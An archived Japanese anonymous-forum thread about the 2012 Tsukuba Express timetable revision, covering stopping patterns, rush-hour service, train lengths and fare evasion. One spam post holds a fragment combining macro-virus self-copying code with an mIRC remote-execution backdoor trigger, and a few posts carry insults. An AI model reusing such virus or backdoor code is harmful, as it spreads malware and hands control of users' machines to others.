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7:名無し野電車区
12/07/27 21:10:54.15 7h5hCJfv0
. ｜ スレ乱立が荒らし呼ぶ一番の起爆剤なのに気付かない夏厨>>1を
, - ､_.'⌒ヽ. ｜ ｒ‐┐ｒ‐､ｧｧ ｒ‐┐ｒ‐┐ ┌‐ｕ‐┐ー‐､ /1
., - ﾉ ｜ | | | ヽ. . | ｜| |_ [ _ ] ｀ｰ'.ノ |
（ ､ｰ--j‐i' ｜ |_.ノ｜..ノ |_ノ |＿.ノ└‐リ__ﾉ |￣ .ﾉ @
( / Q Ql ｜ ._ ＿＿___ ＿ｎ＿ ￣ ｎ ￣￣
.__ゝて ＿_＞ ｜ |.| └―, , ┘ﾆｺ lﾆﾆ, lﾆﾆ .ﾆﾆl
（ ( ＼ﾉﾉ ／ .|.| n // ＾ｺ lﾆ＾ （0 |
｀て ヽ. i'._ ￣| ､ｰ'ﾉ ﾞ､`‐┐（ｏ_,ﾍ.〉 ､ｿ ◎
.'⌒i.､! ﾉ7ｌヽ ｜ ￣ ￣
l l|ヽ'ヽ'|| l r'て＿
| | ￣￣〉! /`r-＝
8:笑
12/07/27 22:57:40.66 cWusyYzi0
はいはい、バルサンAAをつい最近知ったのはわかったから^^
9:名無し野電車区
12/07/27 23:18:32.86 3WfadYBC0
1レス512バイト以内にしましょう
10:名無し野電車区
12/07/28 08:35:14.86 nkmIHbmO0
通快の六町停車は、すごいと思うが 乗車人員からすれば、妥当なところでしょうか。
南千住と浅草を通過させても、面白かったなぁ。
11:名無し野電車区
12/07/28 11:25:55.70 dExstK8C0
>>10
六町の一日乗客数は１万人越えてるしね。
12:名無し野電車区
12/07/28 12:12:18.12 ZOHBEzmT0
■ おおたか厨の荒らしレスにご注意！！
●おおたか厨【おおたかちゅう】
ひたすら柏市に関連する全てを誹謗中傷するレスで荒らしまくる。元から名無しで活動していたが、
おおたかの森SCの開業が具体的になると共に おおたかの森をマンセーしながら柏煽りを行う言動が増えたことから 『おおたか厨』と
呼ばれるようになる。
◎具体例
【「☆柏-Kashiwa-を論ずるスレ Part14☆」より引用】
253 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：2009/04/29(水) 15:37:53 ID:A6euyFhqO
柏なんて茨城だろ
450 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：2009/05/23(土) 14:33:52 ID:HyNqOFlcO
柏の女がブスばかりなのはガチだな
茨城はブスの産地と有名だからな
まあ地元の柏人もブスばかりだが
791 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：2009/06/29(月) 01:43:54 ID:nSmeSvWGO
>>789
地価下落したのか
まあそれでも糞田舎の柏市よりは平均地価で圧勝だろうがな
茨城に隣接してる田舎地域だからな
13:名無し野電車区
12/07/28 12:52:27.22 h24+0/anO
TXが頑なに快速しか使わないのは何故？
快速→特急
区快→急行
通快→通急
普通→普通
じゃダメなん？
14:名無し野電車区
12/07/28 13:20:53.01 CGKOgz98O
通勤快速微妙だよなぁ。詰まる区間で停車駅増やすのはいいけど、
研究学園とか柏の葉とか停めて、つくばからの所用時間が犠牲になるのは…
つくばからの速達性は死守して欲しかった。
15:名無し野電車区
12/07/28 16:03:57.23 4w3kk2M00
浅草と南千住停めなきゃいいだけ
16:名無し野電車区
12/07/28 16:42:07.51 CGKOgz98O
>>15
そこ通過したって朝のきつきつなダイヤじゃ普通に挟まれてどうにもなんないでしょ。
17:名無し野電車区
12/07/28 16:53:58.11 61gAYQJ40
>>13
>TXが頑なに快速しか使わないのは何故？
無料の特急・急行、て言うのは外国人に説明しにくいので勘弁してほしい。
ので、現状がベストだな。
18:名無し野電車区
12/07/28 17:07:28.99 Or8gEMhk0
久しぶりにこのスレに来たけど、
ダイヤ改正で通勤快速できるんだね
六町に止まるのか
六町は区快は通過して通快は停車する駅になるんだな
序列としては快速、通快、区快、普通ということかな
一応、通快は快速の代わりのようだし
19:名無し野電車区
12/07/28 17:17:23.44 2DezQWQl0
>1 乙
20:名無し野電車区
12/07/28 17:20:10.39 2DezQWQl0
通勤快速の英語表記はどうなるんだろうか？
21:名無し野電車区
12/07/28 17:44:33.84 nkmIHbmO0
18時53分発の普通つくば行が新設されましたね。
この電車の守谷到着は19時33分です。
19時発の通勤快速の守谷着が、区間快速と小野時所要時間とした場合
１９時３５分になると思います、守谷で、先行の普通電車と接続するのかもしれないので、つくば方の渡り線も新設されると期待しています。
22:名無し野電車区
12/07/28 17:46:35.03 nkmIHbmO0
18時53分発の普通つくば行が新設されましたね。
訂正
この電車の守谷到着は19時33分です。
19時発の通勤快速の守谷着が、区間快速と同じ所要時間とした場合
１９時３５分になると思います、守谷で、先行の普通電車と接続するのかもしれないので、つくば方の渡り線も新設されると期待しています。
23:名無し野電車区
12/07/28 18:39:58.78 nkmIHbmO0
再訂正
17時53分発の普通つくば行が新設されましたね。
この電車の守谷到着は18時33分です。
18時発の通勤快速の守谷着が、区間快速と同じ所要時間とした場合
１８時３５分になると思います、守谷で、先行の普通電車と接続するのかもしれないので、つくば方の渡り線も新設されると期待しています。
24:名無し野電車区
12/07/28 18:44:47.14 CGKOgz98O
改正に合わせてポイント設置されんの？もっと先かと思ってた。
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26:ToInfect.CodeModule.InsertLines
12/07/28 19:37:59.81 smIgzIxC0
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
27:名無し野電車区
12/07/28 19:42:55.44 uJA6o63V0
>>23
7分ならおおたかの森接続かな？
28:名無し野電車区
12/07/28 20:14:06.48 Z4gFflPf0
通勤時間帯は快速よりも速達性が劣る通勤快速になってしまうので、つくばのマンションを買った東京通勤組が涙目？
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42:名無し野電車区
12/07/28 20:43:51.33 7+633lP60
>>28
>つくばのマンションを買った東京通勤組が涙目？
八潮以南は、平行ダイヤの全駅停車説が強かったので、ぎりぎりの妥協かな？
それよりも、研究学園のマンションは完売したのに・・
今頃とめても地所の担当はぷんぷん？
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49:名無し野電車区
12/07/28 20:51:21.21 CGKOgz98O
今回の改正、研究学園が一番の勝ち組かな？
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54:名無し野電車区
12/07/28 20:55:32.52 CGKOgz98O
ところでつくば発の最終は繰り下がらないのかな？
せめて守谷行きが八潮行きにでもなれば、南流山かおおたかで乗り換えて東京方面に行けるんだけど。
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60:名無し野電車区
12/07/28 21:02:36.50 Z4gFflPf0
>>49
＞今回の改正、研究学園が一番の勝ち組かな？
つまり、差をつけられた万博記念公園、みどりのが涙目？
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68:名無し野電車区
12/07/28 21:11:42.75 dExstK8C0
>>14
今回のダイヤ改正の一番の目的はラッシュ時の増便。
ただ、単純にそれやると、つくばで快速のスジと区快のスジが干渉するから
快速の所要時間を延ばす必要がある。
その方便として停車駅を増やした通勤快速ってことでしょ。
つくばからの速達性はちょっと落ちたけど、区快が２本増便になってるから、
つくば駅にたどりついてからの待ち時間を含めての秋葉原までの実質的な所要時間は
短縮されてるよ。
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79:名無し野電車区
12/07/28 21:47:55.07 iS197KMY0
>>13
たしかにつくばエクスプレスなのに急行じゃないのはおかしい。
快速→急行
区快→準急
通快→通急
こんな感じでもいいと思う。
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87:名無し野電車区
12/07/28 21:55:00.34 FtDyChYY0
レス番がとびとびになってる
運営が対策に動き始めたのか？
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91:名無し野電車区
12/07/28 21:58:56.92 dExstK8C0
>>28
朝ラッシュ時７本が９本に増えるんだから、喜んでるんじゃね？
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101:名無し野電車区
12/07/28 22:49:27.53 o0XgRQfw0
>>91
ラッシュ時９本になるってのは確か？
102:名無し野電車区
12/07/28 22:49:40.36 PwT/TpFU0
守谷駅での折り返し乗車客への中間改札実施をランダムに行うべき！
守谷駅に「一旦改札を出て…」のビラを掲示しているが、これに従う
客がいないことを知っててＴＸ側は無礼乗車を放置している
本件は数年前から問題になっているのに、何ら改善しないなんて、
３セクに許されない怠慢だな
マスコミにＰＲできるよう、キセル実態を対する毅然とした
対応が急務だな
103:名無し野電車区
12/07/28 22:57:04.14 PwT/TpFU0
守谷駅での折り返し乗車客への中間改札実施をスポットで良いから
必ず行うべき！
守谷駅に「一旦改札を出て、再入場を…」のビラを掲示しているが、
これに従う客がいないことを知っててＴＸ側は無礼乗車を放置！
本件は数年前から問題になっているのに、何ら改善しないなんて、
３セクに許されない怠慢だな
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110:まっちゃんアイス ◆iPZe3vHj/A
12/07/28 23:00:03.76 BX/cQ8dE0
>>91>>101
今回のプレスだと「朝のラッシュ時間帯」としか書かれておらず、ピーク1時間なのかどうかが分からないんだよね。
しかし、守谷以北に区快が2本増発、以南は区快が1本も増えないわけだから、
守谷始発の区間快速がつくば始発に変更されると推測できるね。おそらくピーク時だろう。
で、減速する快速の分で、守谷始発の普通を2本増発。ラッシュ前後に別途普通を1本増発。
代わりにつくば始発の普通が守谷始発に変更になるんじゃないかと思うんだけど、どうでしょう。
「種別変更をし」というくだりがあるので。
つまり、ラッシュピーク時守谷以北8本、八潮以北20本、八潮以南22本というのが自分の予想。
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125:名無し野電車区
12/07/28 23:14:41.15 ADY4dodH0
秋葉原の新しいエレベーターは何人乗りになるの？
126:名無し野電車区
12/07/28 23:18:27.29 G9hK99nb0
通勤快速なんか要らないから六町に区間快速止めろよ
127:あぼーん
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133:まっちゃんアイス ◆iPZe3vHj/A
12/07/28 23:25:17.89 BX/cQ8dE0
>>110で書いた時に気付かなかったけど、正確な時間出ているんだ。
確かにつくば駅7時18分発、7時35分発が増発されているね。どちらも最ピーク1時間。
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147:名無し野電車区
12/07/29 03:34:54.72 fVlKrHmo0
ザマーを上回るkittyがいるんだ
148:名無し野電車区
12/07/29 05:24:38.36 vExYqxw90
このスレ開くとノートンが警告するんだけど何で？
149:名無し野電車区
12/07/29 09:13:53.75 i4OVd+9F0
守谷駅での折り返し乗車客について「一旦改札を出て、再入場を…」
のビラを掲示しているだけで、これに従う客がいないことを知ってて
ＴＸ側は無礼乗車を放置中
真面目に所要区間の定期券や回数券を購入している者がバカを見ないで
済むよう、キセル乗車の摘発を厳しくやるべき
150:名無し野電車区
12/07/29 09:16:46.09 EIs1Lh0l0
全員追い出していったんドア閉めればいいだけじゃん
151:名無し野電車区
12/07/29 09:28:12.42 i4OVd+9F0
>>150
柏方面～守谷間の運賃をキセルしているのが問題なのだよ
上りホームに移動し始発に座って折り返す輩は、その前に
下りホームに到着した際、改札でキセルチェックすべき
152:名無し野電車区
12/07/29 09:45:38.90 7Ikz49le0
>>150
同じ車両で折り返すんじゃないから、それ、無意味。
153:名無し野電車区
12/07/29 09:53:26.54 7Ikz49le0
>>147
ただまあ、匿名掲示板の2chを荒らすくらいしかできない小心者でしょうから
URLﾘﾝｸ(6100.teacup.com)
なんかを荒らす度胸無いでしょうな。
154:名無し野電車区
12/07/29 10:19:14.00 i4OVd+9F0
守谷駅の場合、そのまま折り返し乗車できる始発は、
朝夕のラッシュ時間帯には運転されず、ホーム間の
移動が必要なので、整列乗車に混乱はない
始発のある他の駅との共通の問題は「キセル乗車」
155:名無し野電車区
12/07/29 12:43:33.09 z4LiHLk10
通勤快速含めた停車駅
種別秋新浅南北青六八三流セお柏た守平み万研つ
快速●●●●●━━●━●━●━━●
通快●●●●●━●●━●━●●━●━━●●
区快●●●●●━●●●━●●━●●●●●●
普通●●●●●●●●●●●●●●●●●●●●
六町が少し違和感があるな
156:名無し野電車区
12/07/29 13:05:54.63 fcPcOGP20
守谷からの定期を持っていれば良いということですね?
157:名無し野電車区
12/07/29 13:19:54.33 nqcIrc6v0
>>156
>守谷からの定期を持っていれば良いということですね?
わざわざ一駅戻るなんているのかあ。暇そうだなぁ。
センパの人がおおたかまで、なら買い物とかで理解できるかな。
158:名無し野電車区
12/07/29 14:11:17.34 ml330Swb0
快速と区間快速なくして通勤快速にするのが理想
159:名無し野電車区
12/07/29 14:12:53.18 ml330Swb0
現実的停車駅
種別秋新浅南北青六八三流セお柏た守平み万研つ
通快●●●●●━●●━●━●●━●━━●●
普通●●●●●●●●●●●●●●●●●●●●
160:名無し野電車区
12/07/29 14:26:03.74 ml330Swb0
現実的停車駅
種別秋新浅南北青六八三流セお柏た守平み万研つ
快速●●━●━━●━●━●━━●
通快●●━●━●●━●━●●━●━━●●
区快 廃止
普通●●●●●●●●●●●●●●●●●●●●
161:名無し野電車区
12/07/29 16:25:09.82 2VaQGPhV0
現実的停車駅
種別秋新浅南北青六八三流セお柏た守平み万研つ
特急●━━●━━━●━━━━●
快速 廃止
急行●●━●━●━●━●━●━━●●
通快 廃止
区快 廃止
普通●●●●●●●●●●●●●●●●●●●●
162:名無し野電車区
12/07/29 16:55:26.47 ly+L+wYO0
秋新浅南北青六八三流セお柏.た守平み万研つ
特快●●━●━━●━●━●━━●
快速●●●●●━●━●━●●━●━━●●
区快●●━●━●━●●●●●●●●●●●●
普通●●●●●●●●●●●●●●●●●●●●
163:名無し野電車区
12/07/29 17:16:12.59 Rm3AV7+B0
区快がやはり中途半端だなー。
既存快速と区快やめて、B快と通勤快速と各停でいい気がするが…。
守谷、八潮、おおたかで緩急接続してくれればいい。
あと、柏の葉って、なんで通快とまるのかな？
そんなに利用客いたっけ？
164:名無し野電車区
12/07/29 17:42:08.42 EIs1Lh0l0
追いつきすぎないように調整してるだけでは。
六町の人は乗りきれない通快なんかより八潮始発増えるほうがずっといいよね。
165:名無し野電車区
12/07/29 17:49:33.59 7Ikz49le0
>>155
六町より三郷中央の方が違和感ある。
区快の停車駅を三郷中央から六町に編抗すりゃいいと思う。
>>163
それなりにいる。
っていうか、通勤快速設定の狙いは区間快速との所要時間差を少なくすることだと思う。
それによってつくばの区間快速の増発が狙い。
結局のところ、今回の改正で得するのが例によって茨城４駅特に研究学園なわけで。
>>164
六町への配慮ならそれが一番だね。
166:名無し野電車区
12/07/29 18:51:24.77 O4BvKdpF0
改正の内容を見たけど、どうにも小手先な感じ。
結局、8連化しないことには、秋葉原口の混雑は解消しきれんだろ。
閑散時とのギャップが激しすぎて、簡単に踏み切れないとは思うが。
167:名無し野電車区
12/07/29 18:59:40.64 ml330Swb0
なして、30万／日超えているのにいつまでも八両化しないの？
金がないの？それともこれから減ると見ているの？
168:名無し野電車区
12/07/29 20:34:38.41 7Ikz49le0
>>167
８両化するには工事と車両増の両方やらないといけないから、時間がかかる
ってことじゃないの？
まあ、客にとっての利便性は増結より増発なわけで。
ＴＸはワンマン運転なだけに、増発してもそんなにコストがかからないっていう優位点があるな。
ラッシュ時が今度の改正で２２本なら、あと２本は増便余地がある。
169:名無し野電車区
12/07/29 20:36:09.87 7Ikz49le0
＞それともこれから減ると見ているの？
日本全体の人口がこれから減るんだから、大幅に増えるとは考えられないでしょ？
170:85
12/07/29 21:29:25.11 7Ikz49le0
まあ、とりあえず、守谷以南の駅を８両対応にして、TX-1000だけ８両にすれば足りるんでないの？
171:名無し野電車区
12/07/29 22:11:35.36 RuvROtRU0
平日朝の通勤快速は納得できる。
八潮～北千住間がノロノロになるから青井と六町に停車させたほうがいいという意見もある。
でも、夜間の通勤快速は必要なのか？
現状の快速のままで十分だと思うが、開業時の夜間は快速が20分間隔、区間快速も20分間隔だったんだよね。
172:名無し野電車区
12/07/29 22:28:38.41 mZR0EC+x0
最初からﾎｰﾑ部分の基礎だけでも８両分作っておけば工事簡単だったのにね
173:名無し野電車区
12/07/29 22:33:40.56 u5DwAXSR0
理想的停車駅
種別秋新浅南北青六八三流セお━守平み万研つ
快速●●●●●━━●━●━●━━●
通快●●●●●━●●━●━●━●━━●●
区快●●●●●━●●●━●━●●●●●●
普通●●●●●●●●●●●●━●●●●●●
174:名無し野電車区
12/07/29 22:36:11.66 fcPcOGP20
守谷始発の通勤快速
175:名無し野電車区
12/07/29 22:38:07.93 ly+L+wYO0
前衛的停車駅
種別秋新浅南北青六八三流セお柏た守平み万研つ
快速●━━●━●●●●●●━●━━●
通快●●━●●━●●●●━●●━●●
区快●●●━●●●━●●━●●●━●●●
普通●●●●●●●●●●●●●●●●●●●●
176:名無し野電車区
12/07/29 23:32:53.30 7Ikz49le0
>>171
＞でも、夜間の通勤快速は必要なのか？
夕ラッシュ時快速直前の普通が八潮待避になっているのをおおたか待避に
変更できることでおおたかまでの有効本数を増やす効果は期待できる。
>>172
これだけ乗客が増えるとは開業前は予想されてなかったでしょ？
現在のように準備工事してあるだけでも十分だと思うけど。
177:名無し野電車区
12/07/29 23:36:57.20 7Ikz49le0
次の増発はTX-1000を増備してかな。
178:名無し野電車区
12/07/29 23:48:32.97 Zc/QFnUV0
トロピカル様の光臨は？
179:名無し野電車区
12/07/30 00:04:26.51 8ariwzYS0
>>167
お役所的。。。目標は高いんだが。
180:名無し野電車区
12/07/30 00:07:39.39 BtEGbfx1O
なんかいまいちダイヤがしっくり来ない。
そもそも区間快速が微妙なんだよ。
あと待避駅の位置が微妙。ひとまず守谷駅の待避ポイント追加に期待かな。
181:名無し野電車区
12/07/30 00:26:41.36 FObA1aQ10
>>172
>最初からﾎｰﾑ部分の基礎だけでも８両分作っておけば
いや基礎工事までは実施済みと、TX本には書いてありました。
メトロ南北線のように、ホーム床は完成済み・信号関係とホームドアの工事だけで
8両化対応ぐらいでも良かったですね。
でも開業前は、北総のように30年たっても目標の半分しか乗客いない、とかの予想
ばかりで、こんなに簡単に30万人とは想像した人は、とても少ないでしょう。
50人に一人ぐらいでは無いでしょうか？
私は15年間で28万人ぐらいを予想していたぐらいかな。
182:名無し野電車区
12/07/30 00:34:12.68 BtEGbfx1O
てかなんで他の会社は過剰設備で持て余してんのに、
ＴＸに限ってこうなの？って感じ…
8両と言わず10両の余裕があっても決して過剰ではなかった気が…
183:名無し野電車区
12/07/30 00:38:00.54 2GMmmvEq0
三セクとはいえ東京都内の山手線の駅が起点なんだからそれなりの乗降客数になるとは思うんだけどね
その辺考えても過剰に設備とか作っておけばよかったのにね
184:名無し野電車区
12/07/30 01:08:42.42 l2FFXd8E0
>>182
終点から山手線の駅まで60分切る鉄道なんてこれまで無かったろ？
しかも環状線を見方につけて既存の需要を吸い込んでる。
185:名無し野電車区
12/07/30 07:08:38.99 5e0PHKhx0
>>184
＞終点から山手線の駅まで60分切る鉄道なんてこれまで無かったろ？
いくらでもあるよね?
東横線、井之頭線、りんかい線、ゆりかもめ、東京モノレール、目黒線、池上線、日暮里舎人ライナー、…
186:名無し野電車区
12/07/30 07:47:38.24 fsfeIi5EO
>>182
１０両前提で土木工事済みらしいが。
187:名無し野電車区
12/07/30 08:59:18.36 srMCdreI0
今度のダイヤ改正って並行ダイヤに近づけただけの小手先対応じゃんか。
このペースでのんびりされると8両化される頃には、東西線並みの酷いラッシュになってるかもな。
188:名無し野電車区
12/07/30 09:51:53.19 3lp9wX+o0
朝の上り快速は廃止ですか？
ｲﾊﾞ人大変だなあ
189:名無し野電車区
12/07/30 11:05:14.30 fsfeIi5EO
>>187-188
代わりに区間快速が２本増便だから、
通勤快速が停車する研究学園が大勝利なのは言うまでもなく、
快速通過の他の３駅も勝利。
朝ラッシュ時が７本から９本になった効果でつくばも悪くはない。
朝ラッシュ時の快速は先につかえて徐行するんで
使えなかったからな。
190:名無し野電車区
12/07/30 11:33:26.34 vyKcIVR40
朝ラッシュ時上り快速の最速タイムが47分。通勤快速は51-53分で走る。最後の1本のみ49分
多少足は遅くなるが5分程度ならその分早く家を出ればいいだけの話。
191:名無し野電車区
12/07/30 12:42:03.42 GzbhoXlqO
着席通勤のために早く来て並ぶ必要もなくなったろ
192:名無し野電車区
12/07/30 13:10:18.77 lA/ddr1J0
７本が９本になれば、つくばから立つ客はほとんどいなくなるかな？
今だと列車によってはつくばから座れないからなあ・・・
193:名無し野電車区
12/07/30 13:14:30.01 q6uDiBIs0
終電繰り下げおめ
194:名無し野電車区
12/07/30 13:24:33.05 lA/ddr1J0
つくば発の終電の時間は遅くなんないのかな・・・？
195:名無し野電車区
12/07/30 13:30:31.74 P5WpGW5bO
守谷か八潮行き普通でいいから、終電遅くしる。
196:名無し野電車区
12/07/30 13:33:25.30 lA/ddr1J0
終電は北千住まででいいから遅くして欲しい・・・。
それが駄目なら八潮でいいから・・・。
そうすればおおたかか南流山乗り換えれる。
今のつくば２３時１４分はちょっと早すぎるよ・・・。
197:名無し野電車区
12/07/30 13:41:25.42 5xpgTAJCP
基地外いなくなったかな？
多少時間の調整はするかもしれんけど、現状の守谷駅の時刻表が
0715 区快
0717 普通始発
となってるところに
0716 普通始発 を増発できるもんなのかな？
198:名無し野電車区
12/07/30 13:56:44.67 Sii18LiqO
もう、区間快速は要らないね。
準快速を新設して、守谷～つくばを各駅に停車でいいよ。
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210:名無し野電車区
12/07/30 14:50:32.52 R+Lxg4az0
溜まったら水遁依頼するからせいぜい頑張れ
211:名無し野電車区
12/07/30 14:56:38.99 fsfeIi5EO
>>196
守谷－取手周りで現行の23:47で、松戸までなら行けるよ。
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12/07/30 17:51:06.05 fsfeIi5EO
また71編成乗車中。そう言えば今日は土浦に72編成来てるはず。
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286:まっちゃんアイス ◆iPZe3vHj/A
12/07/30 21:30:10.56 KJ2IyJIR0
>>177
もう増備不可能でしょう。総合基地の増設が必要ですし、計画時点ではMaxで34本のはずでした。
日中も空気を運ばなくなってきたので、人件費的にも8両化が望ましいと思います。
>>186
建設誌によると「島式ホームの」土木部分は10両に対応しているとされています。
（ただし、両端の秋葉原、つくばは除く）
そういえば、建設誌（759ページ）など、一通りの資料を全ページスキャンした方がいます（！）
自分も奮発してサーバーの容量を大きくしたんで、Web上にストレージを作ることができました。
著作権的にそのままWeb上には上げられないので、会員制にして下記ページに公開しました。
URLﾘﾝｸ(tx-style.net)
今のところ「建設誌」「つくばエク～がやってくる」「つくばエク～建設物語」の3本を上げています。
これでスレ住人が、一通りの資料にアクセスできるのではと思っています。
今後も追加次第、お知らせできればと思います。
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312:名無し野電車区
12/07/30 23:46:46.64 4HouYhCn0
現行ダイヤ（上り）
URLﾘﾝｸ(www.mir.co.jp)
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321:名無し野電車区
12/07/31 00:43:57.61 E5UKnkk50
てす
322:名無し野電車区
12/07/31 01:21:22.53 YN1H9VId0
死ね！市ねじゃなくて死ね！
323:名無し野電車区
12/07/31 08:01:48.90 ZoX+QQkHi
六町と青井、なぜ差がついたか…
324:名無し野電車区
12/07/31 08:28:46.14 mm9RPHZuO
>>323
単純に他社線駅との距離じゃね？
メトロ利用客なら、青井に行かずに直接綾瀬行くだろうし。
325:名無し野電車区
12/07/31 08:44:19.51 jRK7Ag0q0
では、六町と三郷中央、なぜ差がついたか…
326:名無し野電車区
12/07/31 10:36:21.15 mm9RPHZuO
言わずもがな、周辺人口だろ
327:名無し野電車区
12/07/31 11:31:05.43 mm9RPHZuO
守谷発普通が３本増便なのに、全体が20から22とはいかに？
八潮発普通を１本廃止でないと辻褄があわんな。
そういうことか。
328:名無し野電車区
12/07/31 13:53:16.48 QfnoVmIv0
通勤快速にしては時間が遅すぎじゃない？
8：25つくば発で通勤はないでしょ。
329:名無し野電車区
12/07/31 14:04:41.76 LGK154AF0
秋葉原で10時始業のうちだったら余裕で間に合うけどな。
つか中央線の通勤特快だって8:35高尾発まであるぞ。
330:名無し野電車区
12/07/31 14:39:01.71 ifQWlGy80
１０：００始業の企業なんて腐るほどあるからな・・
331:名無し野電車区
12/07/31 16:20:19.25 jRK7Ag0q0
フレックスタイムつかえばいいやん
332:名無し野電車区
12/07/31 16:47:08.50 qsYU0lkW0
>>327
ただ北千住ピーク時が22本という事だからな。
八潮始発がピーク前時間帯にスライドしたとも考えられる。
前も6時台八潮始発が無くなった時は
八潮始発を守谷始発に変更のアナウンスがあったからな
333:名無し野電車区
12/07/31 18:29:46.13 /OOGoyMl0
>>332
どっちにしてもピーク時の八潮始発が１本減るわけで六町、青井の着席
チャンスが減るな。
まあ現状で八潮発に青井で座れているかは知らないけど。
334:名無し野電車区
12/07/31 19:36:42.65 oWqGvoCiO
71Fが、さっき新御徒町→秋葉原へ出発していったから、
1943発の区快が71Fだと思われるが、
ここに居たのでは、肝心な座れるかどうかわからない。
335:名無し野電車区
12/07/31 19:59:47.43 oWqGvoCiO
運用って、日頃の観察力があれば、結構当たるものだ。
336:名無し野電車区
12/07/31 20:15:30.84 /a5LKCMMO
土浦からの陸送って今晩から4連チャンだっけ？
337:名無し野電車区
12/07/31 21:33:53.39 PIcpZZYRO
で、結局混雑率ってどれくらいなの?
338:名無し野電車区
12/07/31 21:46:43.47 tHlBx+PZ0
荒しに流されちゃったけど、最近いくつかシート変わった車両あるよね？
背もたれがかなり盛り上がってるやつ
339:名無し野電車区
12/07/31 22:31:22.79 EoMHvkv20
全線の所要時間
通快が49～53分
区快が52～56分
普通が57～63分
ラッシュ時は時間が一段階下の種別と同程度まで延びるんだな
340:名無し野電車区
12/07/31 22:41:14.38 NGEoCb7l0
区快はラッシュ時には56分かけてチンタラ走るからね(北千住741着などは52分で走破)
・・・乗車人員の発表マダー?
341:名無し野電車区
12/07/31 22:47:42.69 7TD9iLvS0
通勤快速は、区間快速に守谷～つくば間ノンストップ（研究学園は停車可）でよかったと思う。
そのほうがシンプルだったんじゃないか？
それとも、将来的には朝ラッシュ時は全列車普通になるとか・・・
342:名無し野電車区
12/07/31 22:55:35.35 d7Rz9bHV0
乗車人員６月は、発表済み 六町は、乗車人員では、１１５００をキープし
通快停車は、当然の結果という事でしょうか。
343:名無し野電車区
12/07/31 23:14:49.32 398jDLmD0
研究学園の通勤快速停車は、開業当初の区快の「乗客を伸ばしたい駅に止める」
思想と同じだな
乗客は5,000人台/日だし、「茨城エゴ」と言われても反論できない
344:名無し野電車区
12/07/31 23:36:47.94 0bCTFkd10
研究学園停車はそのうち廃止になる
345:名無し野電車区
12/07/31 23:39:10.13 SoKqHjha0
>>333
7:56八潮始発、7:48発の区快が4番線出る頃には既に満席で立ってる人のほうが多い。
それでもつくば・守谷始発よりはスペースに余裕あるけど。
どうしても座りたいらしく、わざわざ乗り換えてる人もチラホラ見かける
346:名無し野電車区
12/07/31 23:43:11.04 tAgtsJKX0
六町はあと300ｍ北につくるべきだったよな。
みなみ花畑として。
そしたらもっと、利用客多かったのに。
347:名無し野電車区
12/08/01 03:59:30.10 cccmX1vD0
荒し対策の為、忍法帖を鉄道路線・車両板に採用するか、投票中（8/1の24時まで）みたいだ。
鉄道路線・車両板 忍法帖意思確認投票スレ
ｽﾚﾘﾝｸ(vote板:226-番)
348:名無し野電車区
12/08/01 04:07:17.32 ZlBv3NEVO
おはようございます。
都心まで通勤する人達は、
そろそろ会社に行く支度を終え、
家を出発する時間ですね。
349:名無し野電車区
12/08/01 06:19:18.23 lI42q7QB0
>>338
こないだ陸送した71と、今晩から陸送する72と、次の甲種予定の73がそう。
座面は良くなったが、シートバックは変な盛り上がりのせいで腰の座りが悪くなった。
腰痛持ちの漏れにはちょっと辛いかも。
350:名無し野電車区
12/08/01 06:24:50.03 lI42q7QB0
>>343
朝ラッシュの増発のためにじゃまな快速に追加で停車しなければならないって話になったら、
青井、六町と連続停車されるよりは研究学園停車の方が多数派である千葉区間から
都内への通勤客にとっては速達性が保たれるからまだマシってことじゃね？
351:名無し野電車区
12/08/01 06:49:59.21 S42QuOCZO
早い話通勤ラッシュ時は上りの快速関係を全時間帯中止して全列車各駅停車でどんどんピストン運動すればいいんじゃないか？
逆に下りは快速増やして上りの列車不足を補えばよい。見たところ結構下り通勤も多いから停めるとこ停めてさ。
ところで通勤快速って英語読みはなんになんのかな？
352:名無し野電車区
12/08/01 07:27:42.18 Knt7+NGZ0
朝下りでつくばまで通うけれど
区間快速は研究学園までが比較的混雑で
つくば到着時は結構空いているんだよね。
逆に快速に乗ると研究学園に止まらないからか敬遠され
区間快速よりもかなり空いている印象ですよ。
353:名無し野電車区
12/08/01 08:31:57.27 CSj2EyPoO
>>351
そんな極端でなく、ラッシュ時は
遠近分離で、６両編成のつくば区間快速と
８両編成の守谷普通だけ（おおたか接続）ってやり方が妥当。
354:ま ◆iPZe3vHj/A
12/08/01 09:00:16.08 fCFbpgOY0
>>349
今晩じゃなくて今朝から搬入されています。
今日は2672,2572,2472が到着して、今、2572が吊り上げ中。
355:名無し野電車区
12/08/01 09:07:13.31 19WaKtue0
>>333
ピーク時はあくまで北千住ベースだからな。
秋葉原着ベースで考えると10分くらい前でもいわゆるピーク時（7時半～8時半）に到着する。
356:名無し野電車区
12/08/01 12:25:02.37 BF7JjuPs0
こいつ、毎日何が楽しいんだ？
357:名無し野電車区
12/08/03 01:38:46.34 DoaKr9Ql0
運営さんＧＪ
すっきりしたね。
358:名無し野電車区
12/08/03 10:22:27.10 5jxHd6kO0
>>353
区快じゃ遠近分離にならないよ。
６両の区快に客が殺到するだけ。
やるならおおたか～北千住無停車ぐらいじゃないと。
普通も速いTXなら、守谷以南全列車各停が、一番無難でしょう。
快速ものろのろ運転で大して所要時間変わらないし。
359:名無し野電車区
12/08/03 12:27:55.70 xn5HsWRW0
もう、所要時間がほとんど一緒なんだから
全部各駅化でいいよ
開業当時のあの爽快感は壊滅だ！
360:名無し野電車区
12/08/03 17:05:13.24 mGpZd0XN0
>>194-196
一応、現行の秋葉原行き最終の次の電車を八潮行きにしてみると、
つくば2330→おおたか2355→南流山000→八潮006
んで、八潮でその電車を乗り捨れば上り電車でウテシも車両基地に帰れる。だから八潮に滞泊施設を作らずとも最終の延長は可能。
361:名無し野電車区
12/08/03 17:06:17.25 mGpZd0XN0
>>360の３行目
上りじゃなくて下りだった。ｽﾏｿ
362:名無し野電車区
12/08/04 03:02:33.65 rLqlqKWOO
陸送、2:30に終了してた。
363:名無し野電車区
12/08/04 22:22:19.36 Koj8JdSa0
どうやらここが復活してるの知らない人多いみたいだ。
コイツは元はといえば雌車反対派(笑)だっけ。今日は京王スレで荒らしてた
ｽﾚﾘﾝｸ(rail板:16-18番)
364:名無し野電車区
12/08/04 22:46:10.36 U0yiFh3sO
>>360
その考えだと、秋葉原を朝5時30分に発車する、
